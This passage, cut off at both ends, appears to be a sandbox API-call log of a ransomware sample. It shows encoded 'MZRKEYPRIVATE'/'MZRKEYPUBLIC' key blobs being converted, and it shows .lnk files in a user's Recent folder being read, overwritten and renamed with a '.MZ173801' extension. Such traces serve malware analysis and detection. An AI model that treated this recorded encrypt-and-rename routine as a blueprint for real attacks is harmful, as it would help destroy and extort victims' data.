lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.020] GetCurrentThreadId () returned 0xab4 [0147.020] GetCurrentThreadId () returned 0xab4 [0147.020] GetCurrentThreadId () returned 0xab4 [0147.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.021] GetCurrentThreadId () returned 0xab4 [0147.021] GetCurrentThreadId () returned 0xab4 [0147.021] GetCurrentThreadId () returned 0xab4 [0147.021] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DFJaZ09zxpj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5dfjaz09zxpj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.021] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.021] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.021] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x46d [0147.021] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.021] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x46d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x46d, lpOverlapped=0x0) returned 1 [0147.022] CloseHandle (hObject=0x280) returned 1 [0147.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DFJaZ09zxpj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5dfjaz09zxpj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.023] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x46d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x46d, lpOverlapped=0x0) returned 1 [0147.024] CloseHandle (hObject=0x280) returned 1 [0147.025] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DFJaZ09zxpj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5dfjaz09zxpj.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DFJaZ09zxpj.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5dfjaz09zxpj.lnk.mz173801")) returned 1 [0147.025] GetCurrentThreadId () returned 0xab4 [0147.025] GetCurrentThreadId () returned 0xab4 [0147.025] GetCurrentThreadId () returned 0xab4 [0147.025] GetCurrentThreadId () returned 0xab4 [0147.025] GetCurrentThreadId () returned 0xab4 [0147.025] GetCurrentThreadId () returned 0xab4 [0147.026] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f83a7c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4e492120, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e4934a7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="7uaJhnURa.lnk", cAlternateFileName="7UAJHN~1.LNK")) returned 1 [0147.026] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.026] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7uaJhnURa.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7uajhnura.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f83a7c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4e492120, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e4934a7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x35f)) returned 1 [0147.026] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7uaJhnURa.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7uajhnura.lnk")) returned 0x20 [0147.026] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7uaJhnURa.lnk", dwFileAttributes=0x80) returned 1 [0147.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.028] GetCurrentThreadId () returned 0xab4 [0147.028] GetCurrentThreadId () returned 0xab4 [0147.028] GetCurrentThreadId () returned 0xab4 [0147.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 